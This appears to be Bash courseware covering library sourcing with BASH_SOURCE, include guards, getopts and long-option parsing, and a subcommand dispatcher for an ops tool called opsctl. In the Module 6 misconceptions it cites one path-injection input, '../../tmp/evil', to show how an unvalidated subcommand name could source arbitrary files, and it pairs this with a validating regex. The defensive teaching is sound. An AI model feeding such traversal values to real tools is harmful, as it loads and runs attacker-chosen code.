Step through bin/opsctl servers list the startup phase, and observe how the "current shell's function table" and the include guard variables change. The log at each step is the corresponding real command or declare -F output.

Execution location
function table of the current shell (declare -F)

Command table

CommandPurposeKey points
source FILE [ARGS] / . FILEexecute a file in the current shellif FILE has no slash, search PATH first
source -p PATH FILEspecify a search path (Bash 5.3+)not supported in 5.2
"${BASH_SOURCE[0]}"the file where the current code livesa library locates its own directory
readlink -f -- PATHresolve symbolic links to get the real pathBSD readlink before macOS 12.3 does not support it -f
[[ ${BASH_SOURCE[0]} == "$0" ]]determine whether a file is being executed or sourcedPython if __name__ == "__main__" equivalent of
declare -F | grep '^declare -f log::'view loaded functionsuseful for debugging "where does this function come from" shopt -s extdebug; declare -F f show file and line number
shellcheck -x scriptfollow source when checkingtogether with # shellcheck source= and source-path=SCRIPTDIR

1) An unslashed source searches PATH first

mkdir -p /tmp/srcdemo/onpath && cd /tmp/srcdemo
echo 'echo "loaded onpath/lib.sh"'   > onpath/lib.sh
echo 'echo "loaded ./lib.sh (cwd)"'  > lib.sh
PATH="$PWD/onpath:$PATH" bash -c 'source lib.sh; source ./lib.sh'
loaded onpath/lib.sh
loaded ./lib.sh (cwd)

2) A relative-path source depends on the current directory

cat > proj/bin/bad <<'EOF'
#!/usr/bin/env bash
source ../lib/log.sh            # ✗ relative to $PWD
log::info hi
EOF
cat > proj/bin/good <<'EOF'
#!/usr/bin/env bash
HERE=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)
source "$HERE/../lib/log.sh"    # ✓ relative to the script's directory
log::info "hi from $HERE"
EOF
(cd proj/bin && bash bad); bash proj/bin/bad; bash proj/bin/good
INFO hi
proj/bin/bad: line 2: ../lib/log.sh: No such file or directory
proj/bin/bad: line 3: log::info: command not found
INFO hi from /tmp/srcdemo/proj/bin

3) An include guard and a file that is both executable and sourceable

cat > guard.sh <<'EOF'
[[ -n ${_GUARD_SH-} ]] && return 0
_GUARD_SH=1
echo "guard.sh body runs"
EOF
source guard.sh; source guard.sh       # the second time returns directly

cat > both.sh <<'EOF'
both::hello() { echo "hello from both"; }
if [[ ${BASH_SOURCE[0]} == "$0" ]]; then echo "executed directly"; both::hello; fi
EOF
bash both.sh; source both.sh; both::hello
guard.sh body runs
executed directly
hello from both
hello from both

4) The return value of source

printf 'return 3\n' > r.sh; source r.sh; echo "rc=$?"
source ./nope.sh; echo "rc=$?"
rc=3
bash: ./nope.sh: No such file or directory
rc=1

5) Letting ShellCheck follow source

# in bin/opsctl:
# shellcheck source-path=SCRIPTDIR/..
# shellcheck source=lib/log.sh
source "$OPSCTL_HOME/lib/log.sh" || exit 1

shellcheck -x bin/opsctl lib/*.sh

without -x ShellCheck reports SC1091 Not following, and because it cannot see lib/config.sh in declare -gA, it also gives false SC2034 / SC2154 warnings. opsctl v0.1 in this lesson uses ShellCheck 0.11.0 shellcheck -x tested: zero warnings. Lesson 7 will write it into .shellcheckrc and CI.

Lab 4: write lib/log.sh and lib/util.sh (about 6 minutes)

lib/log.sh: logs go to stderr, filtered by level, with an include guard.
cd ~/bashlab/opsctl
cat > lib/log.sh <<'EOF'
# shellcheck shell=bash
# lib/log.sh —— logging functions: log::debug / log::info / log::warn / log::error
# Convention: logs always go to stderr; stdout is reserved for "data" (can be captured by pipes, redirection, $(...)).
[[ -n ${_OPSCTL_LOG_SH-} ]] && return 0   # include guard: return immediately when sourced again
_OPSCTL_LOG_SH=1

declare -gA _LOG_RANK=([debug]=10 [info]=20 [warn]=30 [error]=40)
LOG_LEVEL=${LOG_LEVEL:-info}              # set by bin/opsctl after parsing the config

log::_emit() {   # log::_emit <level> <message...>
  local level=$1; shift
  local want=${_LOG_RANK[$LOG_LEVEL]:-20}
  (( ${_LOG_RANK[$level]:-20} >= want )) || return 0
  # %(...)T is the time format built into printf (Bash 4.2+); no need to fork a date process
  printf '%(%Y-%m-%dT%H:%M:%S%z)T %-5s %s: %s\n' -1 "${level^^}" "${OPSCTL_PROG:-opsctl}" "$*" >&2
}
log::debug() { log::_emit debug "$@"; }
log::info()  { log::_emit info  "$@"; }
log::warn()  { log::_emit warn  "$@"; }
log::error() { log::_emit error "$@"; }
EOF

log::_emit does not receive LOG_LEVEL arguments; it reads global variables instead—this is the "positive use" of dynamic scope, and one of the few deliberate global states in opsctl.

lib/util.sh: bring in the util::csv_split from Module 3 and the exit code convention. The complete file is inComprehensive labStep 2 (same as this step); create it here first:
cp ~/bashlab/lesson3/csv.sh /tmp/csv.bak 2>/dev/null   # back up the Module 3 exercise
# use the full lib/util.sh from the comprehensive lab directly (including util::die / usage_error / require_cmd /
# in_list / is_identifier / csv_split)
Try the library in an interactive shell:
bash --norc
source lib/log.sh; source lib/util.sh
log::info "hello"; LOG_LEVEL=warn; log::info "hidden"; log::warn "shown"
declare -F | grep -E 'log::|util::' | wc -l
( util::require_cmd bash nosuchcmd ); echo "rc=$?"
exit
2026-11-17T10:00:01+0000 INFO  opsctl: hello
2026-11-17T10:00:01+0000 WARN  opsctl: shown
11
2026-11-17T10:00:01+0000 ERROR opsctl: missing required command(s): nosuchcmd
rc=3

Note: ( util::require_cmd … ) put it in a subshell: util::die would exit, calling it directly in the interactive shell would close the terminal. Total function count 11 = 5 from log + 6 from util.

Verify the include guard: source lib/log.sh; _LOG_RANK[info]=99; source lib/log.sh; echo "${_LOG_RANK[info]}" should output 99 (the second source returns at line 4 and does not reset the table). Cleanup: none.

Case 1: a script run from cron could not find its library

Problem: the script ran fine in the terminal cd /opt/tools && ./bin/report but after being placed in cron it reported ../lib/common.sh: No such file or directory—cron's working directory is the user's home directory. Approach: use ${BASH_SOURCE[0]} to compute the install directory, and use absolute paths for all sources; systemd units follow the same approach (the trap and locks in Lesson 4 also depend on this). Limitation:readlink -f not available on very old macOS; when needed, write a loop that resolves symlinks, or require GNU coreutils.

Case 2: a same-named file on PATH was sourced

Problem: the script wrote . env.sh, and on one machine PATH happened to contain another project's env.sh, so the wrong environment variables were loaded and the deployment went to the wrong cluster. Approach: always pass a path to source (. ./env.sh or an absolute path); Bash 5.3 can use source -p "$HERE" env.sh to restrict the search path. Limitation: with ./ still depends on the current directory; the best option is still "$HERE/env.sh".

Case 3: library function name collision

Problem: the libraries of two teams both defined log(), and the one sourced later overrode the earlier one; the log format suddenly changed in some scripts. Approach: rename everything to module::function naming (teamA_log::info may as well just log::info unify into one library); in CI, use declare -F to check for duplicate definitions. Limitation: Bash has no real namespaces; :: the prefix is just part of the name, maintained by convention.

Common errors and fixes

../lib/log.sh: No such file or directory → log::info: command not found

Cause: relative paths are relative to the current working directory.

pwd; echo "${BASH_SOURCE[0]}"; readlink -f -- "${BASH_SOURCE[0]}"

Fix:HERE=$(cd -- "$(dirname -- "$(readlink -f -- "${BASH_SOURCE[0]}")")" && pwd),source "$HERE/../lib/log.sh" || exit 1.

`log::_emit': not a valid identifier

Cause: In Bash 5.2 and earlier, when in POSIX mode (sh script and sh points to bash,set -o posix,POSIXLY_CORRECT) function names must be valid identifiers.

shopt -qo posix && echo "POSIX mode"; readlink -f /bin/sh; env | grep POSIXLY

Fix: run with bash script or ./script ; Bash 5.3 and later no longer have this restriction in POSIX mode, but for compatibility it is still recommended not to run Bash-specific scripts in POSIX mode.

After source, the terminal closed directly

Cause: the sourced file executed exit (for example util::die, or exit 0 at the end of the script), and it exited your interactive shell.

Fix: in libraries, use return; when experimenting interactively, put the call inside ( … ) a subshell, or first bash --norc open a subshell.

SC1091: Not following: lib/log.sh was not specified as input

Cause: ShellCheck does not follow source by default, because the path is computed at runtime.

Fix:shellcheck -x; add # shellcheck source-path=SCRIPTDIR/.. and # shellcheck source=lib/log.sh in the script; add # shellcheck shell=bash in the library file header.

Command-line exercises
1. Write one line of code that gets the absolute path of the parent of the directory containing the current script, and that is also correct when the script is called through a symlink.
ROOT=$(cd -- "$(dirname -- "$(readlink -f -- "${BASH_SOURCE[0]}")")/.." && pwd)
2. List all functions in the current shell that begin with util:: and show util::die which file and line each one is defined in.
declare -F | awk '$3 ~ /^util::/ {print $3}'
shopt -s extdebug; declare -F util::die; shopt -u extdebug   # util::die 7 /home/…/lib/util.sh
Scenario analysis
You also want to give opsctl's library to another tool backupctl to use. backupctl also has its own LOG_LEVEL variables and a die() function. How would you organize this so the two do not affect each other?

(1) the shared library exposes only prefixed functions (log::*,util::*), internal variables use an underscore prefix; (2) the library uses an include guard to prevent repeated initialization; (3) the log level variable is itself a “shared convention”—either both sides use LOG_LEVEL, or change the library to read ${OPSCTL_LOG_LEVEL:-$LOG_LEVEL} or similar explicit configuration; (4) backupctl's die() and util::die do not conflict, but migrating to a unified implementation is recommended; (5) put the shared library in a separate directory (such as /usr/local/lib/opsctl/) and manage it with version numbers, with entry scripts sourcing it by absolute path; (6) write bats tests for the library to ensure that upgrading either tool does not break the interface.

Verified teaching videos

▶
How To Write Bash Scripts In Linux - Complete Guide (Part 17 - Backup Script) — Learn Linux TV
English · Series episode 17 · a complete practical script; you can refactor it following this lesson's “functions + libraries” approach

No dedicated video explaining Bash source library organization and BASH_SOURCE location was found that is verified via oEmbed; please refer to the documents and the storyboard below.

Official documentation

Video storyboard (about 80 seconds)

This courseware cannot directly generate video/MP3; the storyboard and narration script are provided.

Shot 1 · 0–20s
Picture: bin/opsctl looks like a host, with three cables plugged into the log, util and config modules.
Narration: source runs a file in the current shell; functions and variables stay behind, as if the file were pasted onto this line.
Shot 2 · 20–45s
Picture: the same script runs in two directories; one run finds lib, the other reports No such file. The shot cuts to an arrow from BASH_SOURCE pointing to the script's own location.
Narration: relative paths are relative to the current directory. Only computing the script's directory with BASH_SOURCE is reliable.
Shot 3 · 45–65s
Picture: the second source hits a “loaded” gate and returns immediately.
Narration: the include guard prevents a library from being initialized twice.
Shot 4 · 65–80s
Picture: in the function table, log::info and util::die are neatly lined up.
Narration: name functions with a module prefix and double colon, prefix private functions with an underscore, and library files only define and never execute.
or reach ≥ 70% on the quiz

Module 5 · Argument parsing: getopts and long options

28:00 – 35:00 · getopts is a POSIX builtin that only recognizes short options; long options are hand-written with while/case
7 mingetopts: POSIX builtin★★★★☆
Learning objectives
  • Read optstring ("e:r:vh", starting with : silent mode), and master the changes to getopts in the loop opt,OPTARG,OPTIND changes, and shift $((OPTIND-1)).
  • Know the three limits of getopts: it only parses short options, it stops at the first non-option argument, and it OPTIND does not reset automatically (inside a function you must local OPTIND).
  • Hand-write a while (( $# )); do case $1 in … parser that supports -e prod,--env prod,--env=prod,--, and gives exit code 2 for missing arguments and unknown options.
  • Understand the external getopt (util-linux) and getopts, and the portability issues.
Prerequisites: Module 1 (positional parameters, shift), Module 2 (local). Importance:★★★★☆

What: the structure of command-line arguments

Unix convention (POSIX Utility Syntax Guidelines): cmd [-v] [-e env] [--] [operand…]. Short options can be combined (-ve prod), option arguments can be attached directly (-eprod), and -- marks the end of options. GNU style additionally adds long options --env prod / --env=prod, and “options and operands can be interleaved” (GNU getopt's reordering).

Why: why not directly use $1 $2

reading arguments by position (env=$1; region=$2) works with only one or two arguments, but once there are optional arguments, switches and defaults, you get the problem of “one missing argument shifts everything after it”, and users cannot -h view help. Standardized parsing brings: any order, combinable options, clear error messages and exit code 2 (usage error).

How: how getopts works

  1. Each call to getopts OPTSTRING NAME processes the next option character: it puts it into NAME; if that option is followed by :, it puts the argument into OPTARG (which may come from the rest of the same word -eprod, or from the next word -e prod).
  2. OPTIND is the “index of the next argument to process”, starting from 1; the shell initializes it to 1 at startup,and it is not reset automatically afterwards.
  3. When it meets --, the first argument that does not start with - , or runs out of arguments, getopts returns non-zero and the loop ends; at this point shift $((OPTIND - 1)) has discarded the options already processed, and the remaining "$@" are the operands.
  4. Two error-handling modes:
    • Default mode: for an unknown option or missing argument, getopts prints the error itself (illegal option -- x / option requires an argument -- e), sets NAME to ?, and OPTARG is unset.
    • Silent mode (optstring begins with : ): nothing is printed; for an unknown option, NAME=?, and OPTARG=that option character; for a missing argument, NAME=:, and OPTARG=that option character—so you can print your own error message. Setting OPTERR=0 also turns off the default messages.
ToolLong optionsPortabilityNotes
getopts (builtin)No (can be simulated with -: a trick)POSIX, all shellssimple and reliable; recommended in this lesson for scripts with only short options
getopt (util-linux, external command)Yes (--long)Available on Linux; the BSD getopt that ships with macOS does not support long options and has space issuesrequires eval set -- "$(getopt …)", adding a dependency
hand-written while/caseYesany Bashthe code is a bit longer but fully under control; opsctl uses

When: which one to choose

small internal scripts with only a few short options: getopts. Team-facing CLIs (needing --help,--env=prod, and subcommands): hand-written parsing. Do not introduce GNU getopt just for long options; it behaves inconsistently on macOS and Alpine (BusyBox getopt behaves differently).

Common misconceptions① “getopts will parse --env”—it treats --env as - options, and then reports illegal option. ② “Calling getopts inside a function always starts from the beginning”—OPTIND is global; the second call continues from the previous position and ends with “nothing parsed”. Inside a function, write local OPTIND (or OPTIND=1). ③ “getopts skips operands and keeps looking for options”—it stops at the first operand, so cmd file -v anything after it in -v is not parsed. ④ “Hand-written parsing with shift 2 is always safe”—--env is the last argument, $2 does not exist; you must check $# -ge 2 first.

Figure 5-1: getopts state across successive calls

optstring = "e:r:vh" command line: -v -e prod -rcanadacentral file1 file2 -v -e prod -rcanadacentral file1 file2 $1$2$3$4$5$6 1st call: opt=v OPTIND=2 2nd call: opt=e OPTARG=prod (takes the next word) OPTIND=4 3rd call: opt=r OPTARG=canadacentral (rest of the same word) OPTIND=5 4th call: meets file1 (not an option) → returns 1, the loop ends; OPTIND remains 5 shift $((OPTIND-1)) → shift 4 → "$@" = (file1 file2) On error (silent mode ":e:r:vh")-x → opt='?' OPTARG=x-e (at the end) → opt=':' OPTARG=eDefault mode: getopts prints the error itself
Figure 5-1: OPTIND points to the “next argument to process”; an option argument can be attached or separate

Figure 5-2: state machine for hand-written long-option parsing

while (( $# ))case $1 in -e|--env) check $# ≥ 2 → take $2 → shift 2 --env=*) take ${1#*=} → shift -h|--help) print usage → return 0 --) shift; break (everything after is operands) -*) unknown option → usage error, exit code 2 opsctl conventionsoption value → config::set_flag (Module 7)operands: servers list does not accept them and reports an errorglobal options are parsed before the subcommand namesubcommand options are parsed by cmd::<name> itself
Figure 5-2: every branch must consume its argument (shift), otherwise it loops forever

Animation: single-step simulator for getopts / hand-written parsing

Enter a line of arguments (single- and double-quote grouping supported), choose a parser, and step through the state after each loop iteration opt / OPTARG / OPTIND (or the $1 / $#) changes. The simulator implements Bash getopts rules (combining short options, attached arguments,--, stopping at operands, silent-mode error codes); results match the measured output of local Bash 5.2.37.

Example:

Command table

SyntaxPurposeKey points
while getopts "e:r:vh" opt; do case $opt in …; esac; doneStandard getopts loopA letter followed by : means the option takes an argument
getopts ":e:v" optSilent modehandle errors yourself \? and :
shift $((OPTIND - 1))discard the options already parsedafter "$@" are operands
local OPTIND opt OPTARGIsolate getopts state inside a functionotherwise the second call does not parse anything
case $1 in --env=*) v=${1#*=} ;;Hand-written --opt=value${1#*=} delete up to the first =
[[ $# -ge 2 && -n $2 ]] || usage_errorcheck that the option argument existsavoid shift 2 out of range
--end of optionslet -x such filenames be treated as operands

1) Standard getopts

p() {
  local OPTIND opt
  while getopts "e:r:vh" opt; do
    case $opt in
      e) echo "env=$OPTARG" ;;
      r) echo "region=$OPTARG" ;;
      v) echo verbose ;;
      h) echo help ;;
      ?) echo "bad opt (opt=$opt)"; return 2 ;;
    esac
  done
  shift $((OPTIND - 1))
  echo "rest: $*"
}
p -v -e prod -rcanadacentral file1 file2
p -ve prod -- -x
p -x
p file -v
verbose
env=prod
region=canadacentral
rest: file1 file2
verbose
env=prod
rest: -x
demo.sh: illegal option -- x
bad opt (opt=?)
rest: file -v

2) Silent mode: write your own error messages

q() {
  local OPTIND opt
  while getopts ":e:v" opt; do
    case $opt in
      e)  echo "env=$OPTARG" ;;
      v)  echo v ;;
      :)  echo "missing arg for -$OPTARG" ;;
      \?) echo "unknown -$OPTARG" ;;
    esac
  done
}
q -x; q -e
unknown -x
missing arg for -e

3) OPTIND is not reset automatically

r() { while getopts "a" o; do echo "got $o"; done; }    # no local OPTIND
r -a; r -a; echo "OPTIND=$OPTIND"
got a
OPTIND=2

On the second call OPTIND is already 2, while the new argument list has only 1 item, so getopts returns immediately—“nothing parsed”, and there is no error at all.

4) Hand-written long options (the pattern opsctl uses)

t() {
  while (( $# )); do
    case $1 in
      -e|--env)
        [[ $# -ge 2 && -n $2 ]] || { echo "option '$1' requires an argument" >&2; return 2; }
        echo "env=$2"; shift 2 ;;
      --env=*) echo "env=${1#*=}"; shift ;;
      --)      shift; break ;;
      -*)      echo "unknown option: $1" >&2; return 2 ;;
      *)       break ;;
    esac
  done
  echo "rest: $*"
}
t --env prod --env=dev -- -v x
t --env; echo "rc=$?"
env=prod
env=dev
rest: -v x
option '--env' requires an argument
rc=2

5) The getopts trick for simulating long options -: (for reference only)

s() {
  local OPTIND opt
  while getopts "e:-:" opt; do
    if [[ $opt == - ]]; then          # --env=prod → opt='-', OPTARG='env=prod'
      opt=${OPTARG%%=*}; OPTARG=${OPTARG#"$opt"}; OPTARG=${OPTARG#=}
    fi
    case $opt in e|env) echo "env=$OPTARG" ;; *) echo "unknown $opt" ;; esac
  done
}
s --env=prod -e dev
env=prod
env=dev

This trick only supports --env=prod, does not support --env prod, and its error handling is awkward; for production code, hand-written parsing is recommended.

Lab 5: write option parsing for servers list (about 6 minutes)

First write a standalone parsing function (it will later be merged into lib/cmd_servers.sh):
cd ~/bashlab/lesson3
cat > parse.sh <<'EOF'
#!/usr/bin/env bash
usage_error() { echo "error: $1" >&2; echo "Try 'parse.sh --help'" >&2; exit 2; }

parse_list_opts() {
  local -n __o=$1; shift          # the result is written into the caller's associative array (nameref)
  while (( $# )); do
    case $1 in
      -e|--env|-r|--region|-o|--output)
        [[ $# -ge 2 && -n $2 ]] || usage_error "option '$1' requires an argument"
        case $1 in
          -e|--env)    __o[env]=$2 ;;
          -r|--region) __o[region]=$2 ;;
          -o|--output) __o[output]=$2 ;;
        esac
        shift 2 ;;
      --env=*)    __o[env]=${1#*=};    shift ;;
      --region=*) __o[region]=${1#*=}; shift ;;
      --output=*) __o[output]=${1#*=}; shift ;;
      -h|--help)  echo "usage: parse.sh [-e ENV] [-r REGION] [-o table|tsv]"; exit 0 ;;
      --)         shift; break ;;
      -*)         usage_error "unknown option: $1" ;;
      *)          usage_error "unexpected argument: $1" ;;
    esac
  done
  (( $# == 0 )) || usage_error "unexpected argument: $1"
}

declare -A opts=([env]=dev [region]="" [output]=table)   # default values
parse_list_opts opts "$@"
for k in env region output; do printf '%-7s %s\n' "$k" "${opts[$k]:-<any>}"; done
EOF
bash parse.sh --env=prod -r ca-central-1
env     prod
region  ca-central-1
output  table
Testing boundaries:
for a in "-e staging -o tsv" "--env" "--color" "-e prod extra" "-- -e"; do
  echo "\$ parse.sh $a"; bash parse.sh $a; echo "[exit $?]"
done 2>&1
$ parse.sh -e staging -o tsv
env     staging
region  <any>
output  tsv
[exit 0]
$ parse.sh --env
error: option '--env' requires an argument
Try 'parse.sh --help'
[exit 2]
$ parse.sh --color
error: unknown option: --color
Try 'parse.sh --help'
[exit 2]
$ parse.sh -e prod extra
error: unexpected argument: extra
Try 'parse.sh --help'
[exit 2]
$ parse.sh -- -e
error: unexpected argument: -e
Try 'parse.sh --help'
[exit 2]

Here bash parse.sh $a is intentionally left unquoted (so the test string splits into multiple arguments)—this is one of the few “deliberate word splitting” cases, and the test data contains no spaces or wildcards.

Compare with opsctl: in opsctl, the option value is not written into a local array; it is handed to config::set_flag env "$2", so command-line options can be merged uniformly with environment variables and the config file (Module 7). Cleanup: keep parse.sh for reference.

Case 1: an optional argument made the script delete production data

Problem:cleanup.sh DAYS [DIR] was invoked by someone as cleanup.sh /data/tmp (forgot DAYS), and the script treated /data/tmp as the number of days (arithmetic expansion gives 0), while DIR fell back to its default, /data so all files older than 0 days were cleaned up. Approach: change to explicit options cleanup.sh --days 7 --dir /data/tmp; both are required, and a missing one exits with exit code 2; validate numbers with [[ $days =~ ^[0-9]+$ ]] ; add --yes confirmation for dangerous operations. Limitation: the more options there are, the more you need --help and examples.

Case 2: calling getopts a second time inside a function parsed nothing

Problem: in the same script,main parsed the global options with getopts, and then the backup_opts function called getopts again to parse subcommand options; all subcommand options were ignored (OPTIND already pointed past them). Approach: every function that uses getopts should local OPTIND. Limitation: ShellCheck does not warn about this.

Case 3: filenames starting with a dash

Problem: a user wanted to process a file named -rf.log (Lesson 1's files/ directory contains exactly this kind of “odd name”),tool -rf.log and it was parsed as an option. Approach: support --: tool -- -rf.log; and inside the script, also write rm -- "$f" when calling other commands.

Common errors and fixes

illegal option -- - (parsing --env with getopts)

Cause: getopts only recognizes short options. --env is treated as an option -.

Fix: switch to hand-written while/case; or add -: to optstring, or simulate with the trick (not recommended).

getopts does nothing on the second call (or in a second function)

Cause: OPTIND is global state and is not reset automatically.

echo "OPTIND=$OPTIND"   # check before the call

Fix: inside the function local OPTIND (recommended), or before the call OPTIND=1.

Script hangs / CPU at 100% (hand-written parsing)

Cause: a case branch does not shift,while (( $# )) so the loop is always true.

bash -x script.sh --env prod 2>&1 | head -30   # look for a branch that repeats

Fix: every branch must consume its arguments: for an option with a value, shift 2; for a switch, shift; for ending options, break; for an error, exit 2 / return 2.

shift: shift count out of range / an option value became the next option

Cause:--env is the last argument, so shift 2 goes out of range (in Bash, a failed shift returns 1 and does not move the arguments; measured set -- a; shift 2 afterwards $# is still 1; “shift count out of range” is printed only when shopt -s shift_verbose is enabled); or --env --region x treated --region as the value of env.

Fix: check [[ $# -ge 2 && -n $2 ]] first; when stricter checking is needed, reject values beginning with - (but this also rejects valid negative numbers, so decide as needed).

Command-line exercises
1. Use getopts to write parsing for a -n NUM (must be a positive integer) and a -q switch, and exit with exit code 2 on an illegal value.
parse() {
  local OPTIND opt num=1 quiet=0
  while getopts ":n:q" opt; do
    case $opt in
      n) [[ $OPTARG =~ ^[1-9][0-9]*$ ]] || { echo "-n needs a positive integer" >&2; return 2; }; num=$OPTARG ;;
      q) quiet=1 ;;
      :) echo "-$OPTARG requires an argument" >&2; return 2 ;;
      \?) echo "unknown option -$OPTARG" >&2; return 2 ;;
    esac
  done
  shift $((OPTIND - 1)); echo "num=$num quiet=$quiet rest=$*"
}
2. Write a branch of a hand-written parser that supports -o tsv,--output tsv, and --output=tsv, and only allows table / tsv.
-o|--output)
  [[ $# -ge 2 && -n $2 ]] || usage_error "option '$1' requires an argument"
  output=$2; shift 2 ;;
--output=*) output=${1#*=}; shift ;;
# after the loop, validate uniformly:
[[ $output == @(table|tsv) ]] || usage_error "invalid output '$output'"   # Bash 4.1+ supports extglob patterns in [[ ]] by default
Scenario analysis
The team wants all scripts to support --env,--dry-run, and --help, and someone proposes using GNU getopt uniformly. How would you evaluate this?

GNU getopt (util-linux) can handle long options and reordering of options, but: ① it is an external command; macOS's BSD getopt does not support long options, and Alpine's BusyBox getopt behaves differently; ② it requires eval set -- "$(getopt …)",eval which adds review difficulty; ③ you also have to determine whether it is the enhanced getopt (getopt -T returns 4). For a team CLI, the safer approach is to adopt one hand-written parsing template (like opsctl's servers::list), parse global options in the dispatcher, parse subcommand options in the subcommand, and cover --opt value,--opt=value,-- , missing arguments, unknown options,

Verified teaching videos

▶
How To Write Bash Scripts In Linux - Complete Guide (Part 16 - Arguments) — Learn Linux TV
English · Series episode 16 · positional parameters and argument handling (for getopts and long options, follow this module)

No video dedicated to getopts that was verified via oEmbed was found.

Official documentation

Video storyboard (about 80 seconds)

This courseware cannot directly generate video/MP3; the storyboard and narration script are provided.

Shot 1 · 0–20s
Picture: a row of argument cards, with the OPTIND pointer bouncing from the first card.
Narration: getopts handles one option at a time, and OPTIND points to the next argument to process.
Shot 2 · 20–40s
Picture: the pointer hits file1 and stops; shift pushes the first four cards away.
Narration: getopts stops at the first operand; after shift, OPTIND is decremented by one, and what remains is the operands.
Shot 3 · 40–60s
Picture: the function is called a second time, OPTIND stays at 2, and nothing happens; with local OPTIND added, everything works.
Narration: OPTIND is not reset automatically, so a function must use local.
Shot 4 · 60–80s
Picture: a while case parser, with five branches lighting up one by one: with value, equals sign, help, double dash, unknown option.
Narration: long options are hand-written with while plus case; every branch must shift, and errors uniformly exit with code two.
or reach ≥ 70% on the quiz

Module 6 · Subcommand-style CLI design: usage, help and exit code conventions

35:00 – 42:00 · Like git / kubectl: opsctl <subcommand> [options], one dispatcher plus one file per subcommand
7 minopsctl v0.1★★★★★
Learning objectives
  • Design tool [global options] subcommand [subcommand options] [operands] command structure, distinguishing where global options and subcommand options are parsed.
  • Implement the dispatcher: validate the subcommand name (to prevent path injection) → load on demand source lib/cmd_<name>.sh → declare -F cmd::<name> → call and pass through the exit status.
  • Implement opsctl's conventions: opsctl help / -h / --help,-V / version; exit code 0 success, 1 general error, 2 usage error, 3 missing dependency; data to stdout, logs and errors to stderr.
  • Let help be generated automatically: scan the header of each subcommand file for # opsctl-summary: comments.
Prerequisites: Modules 1–5. Importance:★★★★★

What: subcommand-style CLI

git commit -m …,kubectl get pods -n …, and az vm list -g … all use a “subcommand” structure: one entry program, where the first non-option argument selects the action to perform, and the options after it belong to that action. For an ops toolbox, this is easier to discover than “a dozen separate scripts” (opsctl help), shares code better (the library is loaded only once), and unifies behavior better (log format, exit codes, configuration).

Why: why exit codes should be agreed on

Exit codes are the interface between the script and its caller (CI, cron, systemd, another script). If every failure is 1, the caller cannot tell “the arguments were wrong (fix the command and retry)”, “a dependency is missing (install it and retry)”, and “the operation itself failed (alert)”. opsctl's convention:

Exit codeMeaningTrigger point in opsctlWhat the caller should do
0Successnormal completion,--help,-Vcontinue
1General error (runtime failure)util::die: data file unreadable, CSV header mismatch, config file unreadable or malformedalert / retry / manual handling
2Usage errorutil::usage_error: unknown subcommand, unknown option, missing option argument, invalid value; running without a subcommandfix the command line, do not retry
3Missing dependencyBash < 4.3, running in POSIX mode,util::require_cmd command not foundinstall the dependency / change the environment

The meaning of 2 matches the convention of Bash builtins (builtins return 2 for usage errors, for example return abc,printf -v 'bad name'), and also matches the common GNU-tool convention of “usage → 2”. 126, 127 and 128+N are reserved by the shell (not executable, command not found, terminated by a signal); do not use them as custom exit codes.

How: the execution path of one opsctl servers list --env prod run

  1. Interpreter check: not Bash (sh opsctl under dash) → exit 3; Bash < 4.3 → exit 3; POSIX mode → exit 3.
  2. Locate and load: compute OPSCTL_HOME, source log.sh → util.sh → config.sh.
  3. Global options: opsctl::main only parse the before the subcommand name the -c/--config,-v/--verbose,-h,-V, stopping at the first non-option argument.
  4. Configuration initialization: config::init read the config file and determine the log level (Module 7).
  5. Dispatch: servers validate the name via ^[a-z][a-z0-9_]*$, source lib/cmd_servers.sh, confirm that cmd::servers is defined, and call cmd::servers list --env prod.
  6. Subcommand: cmd::servers then dispatch by action (list) to servers::list, which parses its own options, reads the data, and outputs the table.
  7. Exit status: opsctl::main "$@" is the last command of the script, and its return value is the script's exit code; util::die / usage_error exits directly with exit.

When: design checklist

  • --help output to stdout and return 0; on a usage error, usage goes to stderr and returns 2 (opsctl with no arguments does exactly this).
  • Error messages explain “what is wrong + what to do” (Try 'opsctl --help').
  • data output is stable and machine-readable (-o tsv), with no logs mixed in.
  • Subcommands are loaded on demand, and the name is validated before loading.
  • Dangerous actions (the deploy of Lesson 6) default to dry-run or require --yes.
Common misconceptions① “Help should be written to stderr”—help that the user explicitly requests is normal output: write it to stdout and exit 0 (so that opsctl --help | less can be used); only the hints attached to a usage error go to stderr. ② “"cmd::$1" "$@" can simply be called directly”—without validation,opsctl '../../tmp/evil' would source files from any path. ③ “A exit 2 and return 2 are the same inside a function”—if a caller puts a function inside $(…) ,exit only exits the subshell; opsctl's util::usage_error is only called in the main shell.

Figure 6-1: dispatcher structure

opsctl [-c FILE] [-v] servers list --env prod -o tsv global options (parsed by opsctl::main)subcommandactionsubcommand options (parsed by servers::list) opsctl::mainglobal options → config::init opsctl::load_commandvalidate name → source → declare -F cmd::serversdispatch by action servers::listoption → data unknown command → exit 2 built-in subcommandshelp [CMD] → cmd::CMD --helpversion / -V → 0.1.0no subcommand → usage >&2, exit 2 Output channelsstdout: table / TSV / help text (data)stderr: log::* logs, errors, usage hintsExit codes: 0 / 1 / 2 / 3
Figure 6-1: Lesson 5's cmd_logs.sh, Lesson 6's cmd_health.sh, etc. just need to be placed in lib/, and the dispatcher and help recognize them automatically

Figure 6-2: exit code decisions

0 successnormal servers list output--help / -Vno match (warn only) 1 general errorservers.csv unreadableCSV header mismatchconfig file format error 2 usage errorunknown command / option--env qa (invalid value)--env missing its argument 3 missing dependencyBash < 4.3 / running under shutil::require_cmd jq(Lesson 6 curl)
Figure 6-2: “no matching servers” is a normal result (exit 0 with a warning on stderr), not an error—this is a deliberate design choice

Animation: dispatcher execution path and exit codes

Pick a command and step through which checks it passes in the dispatcher, where it ends, what stdout / stderr each output, and what the exit code is. All results come from actual runs of opsctl v0.1 on Bash 5.2.37 (timestamps are examples).

stdout
stderr

Command table

CommandBehaviorExit code
opsctl --help / opsctl helpFull usage to stdout (lists subcommands automatically)0
opsctlUsage to stderr2
opsctl help servers / opsctl servers --helpSubcommand help0
opsctl -V / opsctl versionopsctl 0.1.00
opsctl nosuchERROR … unknown command: nosuch2
opsctl servers list --env prodtable0
opsctl servers list --env qainvalid env 'qa' (from flag)2
OPSCTL_DATA_DIR=/nowhere opsctl servers listcannot read /nowhere/servers.csv1
sh opsctl (Ubuntu, sh=dash)please run with bash, not sh3

1) Dispatcher core (excerpt from bin/opsctl)

opsctl::load_command() {       # opsctl::load_command <name>: source lib/cmd_<name>.sh
  local name=$1 file
  [[ $name =~ ^[a-z][a-z0-9_]*$ ]] || return 1      # reject path injection such as ../
  file=$OPSCTL_HOME/lib/cmd_$name.sh
  [[ -r $file ]] || return 1
  # shellcheck source=/dev/null
